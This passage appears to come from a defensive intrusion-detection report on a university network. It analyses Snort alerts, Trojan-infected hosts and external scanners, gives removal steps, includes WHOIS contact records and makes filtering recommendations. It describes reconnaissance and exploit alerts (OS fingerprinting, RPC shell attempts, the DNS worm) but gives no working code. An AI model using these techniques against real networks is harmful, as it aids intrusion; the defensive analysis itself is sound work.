205.188.233.121	8525	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.153	6431	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.185	3617	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
216.205.156.57	2291	Various->21 (SYN)	MY.NET.x.x	Scanning for FTP Servers
MY.NET.235.126	1110	Various->(>27000) (UDP)	Various	Network Gaming server scans
MY.NET.223.18	756	Various->(>27000, >64000) (UDP)	Various	Network Gaming server scans

1.2.1 Analysis and Recommendations

The data in the tables above clearly indicates that the majority of the san alerts are due to a large number of hosts on the MY.NET network using RealAudio/Quicktime, and Internet gaming applications. There are two main implications of the use of such applications on a widespread basis. One is the fact that the traffic generated by these applications consumes a significant amount of bandwidth. The other is the fact that these applications open high ports on the systems that run them, thus creating potential security holes in the network that could be exploited.

Of most concern is the fact that it appears that several hosts have been compromised and are running Trojans. Host MY.NET.160.114 has been compromised and is running the AimSpy Trojan. "This event indicates that a known Trojan may be operating on the host. This is not a scan or probe, but a successful connection" [5]. This Trojan is used by someone to capture and see the text of Instant Messenger traffic between two parties. This host must be taken off the network and sanitized.

Host MY.NET.208.58 has been compromised and is running the Remote Storm Trojan, which infects Windows NT/2000 machines. This is not a destructive exploit but it causes a huge amount of concern when it executes on a machine because it will display a fake message suggesting that the drive is being formatted. The Trojan can be configured to display the fake message when the dialog is shown or when the user clicks the X button to close the window. This host must be taken off the network and sanitized as follows:

- Remove the WinManager key in the registry located at HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run Which can be done with regedit or any other registry editing program.
- Reboot the computer or close DllRun.exe.
- Delete the Trojan file DllRun.exe and DllCount.sys in the windows system directory.

There are two external hosts scanning the network that pose a significant threat to network security. Host **216.205.156.57** is of concern because it is probing the network to look for servers running FTP so that they can be compromised. The network registration is shown below. It is probably a dial-up host on that network.

Interliant (NETBLK-ILNT-DW2)
64 Perimeter Center East
Atlanta, GA 30346
US
Netname: ILNT-DW2
Netblock: 216.205.152.0 - 216.205.158.255
Coordinator:
Galiano, Aj (AG138-ARIN) neteng@SAGENETWORKS.COM
770-673-2202

Host **63.95.144.5** is of concern because it is scanning for vulnerable DNS servers. In particular this could be an exploit known as the ADM Worm. "The ADMw0rm Internet Worm is a collection of scripts and programs whose function is to automatically exploit the remote BIND vulnerability in Linux systems in order to gain access, and attack other systems from each compromised host, copying itself to each vulnerable system" [6]. As a matter of sound network security practice, access to DNS services on TCP port 53 should be restricted to trusted internal sources. The network registration information is shown below. This is a host on a network in Bogota, Columbia.

Diveo de Colombia Ltda (NETBLK-DIVEOCOL1)
Transversal 18 No. 96-41 piso 3
Santafe de Bogota, Cundinamarca
CO
Netname: DIVEOCOL1
Netblock: 63.95.144.0 - 63.95.144.31
Coordinator:
Mercado, Victor (VM149-ARIN) vmercado@diveo.net
954-462-2210

1.3 Summary of Out-Of-Spec (OOS) Detects

The OOS files for each day were processed using the UNIX tools "***grep***" and "***sort***". The results of the analysis over a period of five days are summarized for the top ten sources of OOS scans in Table 1.3.1.

Table 1.3.1 Top Ten Sources Of OOS Scans Over Five Days.

Source Address	Totals	Src ->Dst Ports	Dest. IP	TCP/IP Flags
199.183.24.194	26	Various high ports->25	MY.NET.253.41 MY.NET.253.42 MY.NET.253.43	21S*****
4.61.46.238	25	Various high ports ->6347	MY.NET.202.138	21S*****
130.207.193.70	23	Various high ports ->113	MY.NET.253.51 MY.NET.253.52 MY.NET.253.53	21S*****
128.46.156.155	10	Various high ports->80	MY.NET.99.85	21S*****
198.186.202.147	8	Various high ports ->25,113	MY.NET.70.113:25 MY.NET.253.51:113 MY.NET.253.53:113	21S*****
24.132.42.208	4	6699->Various high ports 226->6699	MY.NET.204.198	21*FRP** 21S****U 21*FRPA*
128.131.51.37	3	35725,35917,37036 ->6346	MY.NET.223.238	21S*****
24.4.160.163	3	Various high ports ->25,80	MY.NET.253.41:25 MY.NET.99.85:80	21S*****
62.119.192.113	3	2587->1214 120->2587	MY.NET.234.242	2*SFRPA*
193.137.96.74	2	34995,35955->6346	MY.NET.223.238	21S*****

1.3.1 Analysis and Recommendations

As can be observed from Table 1.3.1, majority of the traffic has the "21S*****" TCP flag combination. Snort reports both reserved bits being set in the TCP flag byte with "21". Thus, these packets have the SYN (connection request) and both reserved bits set. This pattern is typical with operating system fingerprinting tools such as Queso. Queso is an operating system detection tool that is commonly used for reconnaissance purposes. The tool identifies operating systems from the TCP packet signature and it will also detect Linux kernel versions and TCP responses from devices such as routers, terminal servers, printers, etc. In the traces above the traffic that involves ports 6345 to 6348 is most likely Gnutella traffic. Ports 6345/TCP – 6348/TCP are default ports for Gnutella serves. It is reasonable to assume that those machines are being used as Gnutella servers inside the network and are sharing files to external hosts. It is recommended that hosts MY.NET.223.238, MY.NET.223.238, and MY.NET.202.138 be examined closely for any such applications.
It would appear that hosts MY.NET.253.41, MY.NET.253.42, and MY.NET.253.43 are mail servers that are being scanned. Simple Mail Transfer Protocol (SMTP) scans (port 25) are a significant problem on publicly accessible networks. The main reason for these scans is to identify email servers that are incorrectly configured so that they can be used forward "spam" email through. It is recommended that the mail "relaying" feature be turned off on all mail servers.

Connection attempts to port 113 (identd – Authentication Server) are reconnaissance attempts to determine the parties involved in a client-server connection. "The IDENT protocol identifies the owner of a connection between a client and a server. It is most often used when sending e-mail: the client connects to the server, then the server connects back to the client using IDENT to verify who the client is" [7]. This exploit reveals a lost of information about the machine that can be used to compromise the machine. It is not very practical to block this port but it is recommended that an active response to these attempts be used by the firewall. The firewall should be configured to send a Reset (RST) as a response to connection attempts to this port.

Given the huge number of IIS exploits currently in use it is not unusual to see an OOS scan on port 80 (web server). It is most likely that these are attempts to gather information on the type of web server being used so that the appropriate exploit can be used against it.

So called "Christmas Tree" scans, those with several TCP flags and one or both reserved bits set are almost always used for operating system fingerprinting and probing for vulnerable services. The unusual aspect to the scans captured from hosts **24.132.42.208** and **62.119.192.113** they are originating from low numbered ports 226 and 120 that have no well-known services associated with them. Port 121 is listed as a port used by several Trojans including the "God Message" Trojan [8]. Given that the port can be changed, this is one possibility. However, port 6699 is also used by Napster it is the most likely explanation for the traffic from **24.132.42.208**.

TCP port 1214 traffic from **62.119.192.113** is probably a result of the "KaZaA" file-sharing system [10], and is most likely the result of someone scanning for other kazaa file-sharing hosts on the network. It is recommended that ports 6699 and 1214 be filtered at the router.

It is highly recommended that the router be configured to block datagrams that have unusual TCP flag bits set.

1.4 High-Risk Hosts

In addition to the registration information already provided in section 1.2, the following hosts have also been selected on the basis of posing a high risk to the security of the network.

Table 1.1b indicates that host **61.129.67.43** is sending datagrams from port 53 to port 53. Presumable the source port is 53 to evade the firewall. The destination port of 53 is usually a scan to identify vulnerable DNS servers or possible netcat scans. In any case this host warrants some more attention. Registration information is given in section 1.1.

Traffic from external host **24.9.158.233:22 to MY.NET.163.17:32771** triggered the "SUNRPC highport access!" alert in Snort. Port 32771 is bound to rpcbind (in addition to port 111) and will provide information about the port locations of the various RPC services. Thus, a hacker locates specific, vulnerable RPC services and exploits them. The registration information for the above host is given below. The host itself appears to be a cable or DSL subscriber host located in Catonsville, MD, USA.

Registrant:
Home Network (HOME-DOM)
425 Broadway St.
Redwood City, CA 94063
US
Domain Name: HOME.COM

Administrative Contact, Technical Contact:
DNS Administration (DA24627-OR) abuse@HOME.COM
@Home Network
425 Broadway St
Redwood City , CA 94063
US
650-556-5399
Fax- 650-556-6666

Traffic from external host **194.87.6.188 to MY.NET.178.86** triggered the "Russia Dynamo - SANS Flash 28-jul-00" alert. A SANS advisory was issued on July 28, 2000 and recommends that traffic to or from the Russian network be blocked [11]. The registration details are as follows:

org: Demos-Internet Private Joint Stock Company
nic-hdl: DEMOS-ORG-RIPN
admin-c: DOLMNT-RIPN
bill-c: DOLMNT-RIPN
phone: +7 095 9566234
fax-no: +7 095 9565042
fax-no: +7 095 9564027
e-mail: tariffs@demos.net
changed: 2001.09.03
mnt-by: DEMOS-MNT-RIPN
state: RIPN NCC check completed OK
source: RIPN

person: Demos Online Maintainer
nic-hdl: DOLMNT-RIPN
address: 6/1 Ovchinnikovskaya nab.
address: 113035 Moscow
phone: +7 095 9566234
fax-no: +7 095 9565042
e-mail: dol-mnt@dol.ru
changed: 1999.04.02
mnt-by: DEMOS-MNT-RIPN
source: RIPN

inetnum: 194.87.0.0 - 194.87.255.255
netname: RU-DEMOS-940901
descr: Provider Local Registry
country: RU
admin-c: DNOC-ORG
tech-c: RR-ORG
status: ALLOCATED PA
remarks: changed from SU-DOMES to RU-DEMOS 970415
mnt-by: RIPE-NCC-HM-MNT
changed: auto-dbm@ripe.net 19950424
source: RIPE

The spreadsheet data indicates a large number of traffic directed at port 55850 ("myserver" rootkit). "The "myserver" was introduced by a bad guy. Servers on strange port numbers like "55850" are always suspect. You should investigate when you find one" [12]. By far the majority of these originated from external address **141.213.12.251** and directed at internal host **MY.NET.100.65**. It is recommended that all hosts associated with this traffic be tossed and sanitized.

The registration details for the offending host are provided below. This is a host at the University of Michigan Computer Aided Engineering Network.

University of Michigan (NET-UMNET3)
Computer Aided Engineering Network (CAEN)
229 Chrysler Center
Ann Arbor, MI 48109-2092
US
Netname: UMNET3
Netblock: 141.213.0.0 - 141.213.255.255

Coordinator:
Killey, Paul M. (PMK5-ARIN) paul@ENGIN.UMICH.EDU
(734) 763-4910 (FAX) (734) 936-3107

Traffic from external host **209.53.48.167:5501** to **MY.NET.221.94:53456** triggered the "RPC tcp traffic contains bin_sh" alert in Snort. This alert seems to indicate an RPC buffer overflow exploit and an attempt to run a shell with root privileges on the victim host. The registration details are shown below.

Registrant:
BC TEL Advanced Communications (BCONNECTED-DOM)
2600-4720 Kingsway
Burnaby, British Columbia V5H 4N2
Ca
Domain Name: BCONNECTED.NET

BCTAC Adsl Richmond (NETBLK-ADSL-RICHMOND)
3911 No 3 Rd
Richmond, British Columbia V6X 2B8
CA
Netname: ADSL-RICHMOND
Netblock: 209.53.48.0 - 209.53.49.255

Coordinator:
Gill, Harminder (HG48-ARIN) harminder_gill@BCTEL.NET
604-454-5234

TELUS Advanced Communications
2600-4720 Kingsway
Burnaby, British Columbia V5H 4N2
CA
+1 (604) 454-5107
Fax- - - - (604)434-7314

Given the OOS scans directed at SMTP servers it was decided that the SMTP Chameleon alerts be examined closely for any correlation. The Chameleon SMTP server contains a buffer overflow vulnerability. This exploit can also result in a denial of service attack once exploited. There were three external hosts that triggered this alert but the majority are from host 63.166.117.59. These are all directed at internal hosts: MY.NET.253.41 and MY.NET.253.42. The registration information for the offending host is given below.

Internet Domain Registrars WHOIS Server v.1.3
Registrant:
Express Technologies, Inc.
PO Box 22789
Louisville, KY 40252
US
(PH) 502-214-4100 (FAX) 502-568-3934

Domain Name: EXPRESSTECH.NET

Administrative Contact:
Control, Network (NECON899) domainreg@halfpricehosting.com

Netname: XODI-5
Netblock: 63.166.117.0 - 63.166.117.255
Coordinator:
Dickens, Jason (JD1077-ARIN) jdickens@halfpricehosting.com
502-568-2111

Conclusions

It is very apparent that this university's network has some serious breaches in network security. The problems range from a proliferation of applications (MSN IM, RealAudio, Network, Games, etc) that consume large amounts of bandwidth and open unsecured ports into the network, to hosts that have been compromised and are running Trojans.

The network administration and security team on campus must examine all the hosts highlighted in the previous sections that manifest significant anomalies in network traffic and pose a serious threat to network security. They will first have to ascertain whether the machines are for student use or faculty and staff owned. If the machines are used by students in campus labs then it is a matter of establishing strict "no-tolerance" guidelines and rules for campus computer use and enforcing them. If the machines belong to faculty or staff then the appropriate administrative bodies will have to be contacted and the issues will have to be resolved at that level. It is very important that these issues be resolved urgently because it is entirely possible that some of the compromised machines are being used to attack other networks.

References

[1] Global Incident Analysis Center
http://www.sans.org/y2k/121100-1200.htm

[2] SANS Emergency Incident Handler
http://www.incidents.org/detect/gaming.php

[3] IDS7/MISC_SOURCEPORTTRAFFIC-53-TCP
http://www.whitehats.com/IDS/7

[4] The Twenty Most Critical Internet Security Vulnerabilities (Updated)
http://66.129.1.101/top20.htm

[5] IDS114/TROJAN_TROJAN-ACTIVE-AIMSPY
http://www.whitehats.com/info/IDS114

[6] A Brief Analysis of the ADM Internet Worm
http://www.whitehats.com/library/worms/adm/

[7] Port 113 identd/auth
http://www.networkice.com/Advice/Exploits/Ports/113/default.htm

[8] "Default Ports Used by Some Know Trojan Horses"
http://www.simovits.com/sve/nyhetsarkiv/1999/nyheter9902.html

[9] KaZaA for Linux
http://www.kazaa.com

[10] IDS50/TROJAN-ACTIVE-SUBSEVEN
http://www.whitehats.com/info/IDS50

[11] Global Incident Analysis Center
http://www.sans.org/y2k/072818.htm
http://archives.neohapsis.com/archives/sans/2000/0068.html

[12] Linux Security -- Best Advice
http://ist.uwaterloo.ca/security/howto/2000-10-02/compromise.html